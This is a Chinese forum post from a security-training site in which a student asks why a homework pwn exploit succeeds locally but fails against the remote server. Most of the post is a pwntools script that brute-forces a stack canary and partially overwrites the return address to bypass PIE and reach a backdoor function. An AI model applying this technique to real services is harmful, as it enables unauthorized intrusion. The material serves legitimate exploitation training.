作业：canary_01问题。本地可以爆破成功，远程失败，没有调试思路-看雪学苑-看雪-安全培训|安全招聘|www.kanxue.com

作业：canary_01问题。本地可以爆破成功，远程失败，没有调试思路

Art1cuno 2024-3-9 876

源自：文章：本章作业

问题描述

作业：canary_01即protect_full，本地爆破Canary和PIE成功，远端爆破Canary成功，PIE失败，想了解利用是否有问题

问题出现的环境背景及自己尝试过哪些方法

本地虚拟机：课程提供的Ubuntu 20.04 64位
利用思路：期望将ret值的低2字节改为backdoor的值从而绕过PIE

相关代码

from pwn import *
 
elf = ELF("./protect_full")
# libc = ELF("./libc-2.31.so")
context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'
# p = process([elf.path])
p = remote('123.59.196.133', '10015')
 
canary = '\x00'
while len(canary) < 8:
    for i in range(0x100):
        payload = ''
        payload += 'a' * 0x18
        payload += canary
        payload += p8(i)
        p.sendafter('Okay', payload)
        if not p.recvline_contains('stack smashing detected', timeout=1):
            canary += p8(i)
            break
 
canary = u64(canary)
 
backdoor = 0x8e4
for i in range(0x10):
    k = i << 12
    payload = ''
    payload += 'a' * 0x18
    payload += p64(canary)
    payload += 'b' * 8
    payload += p16(backdoor + k)
    p.sendafter('Okay', payload)
    buf = p.recv()
    if b'flag' in buf:
        print(buf)
        break
 
p.interactive()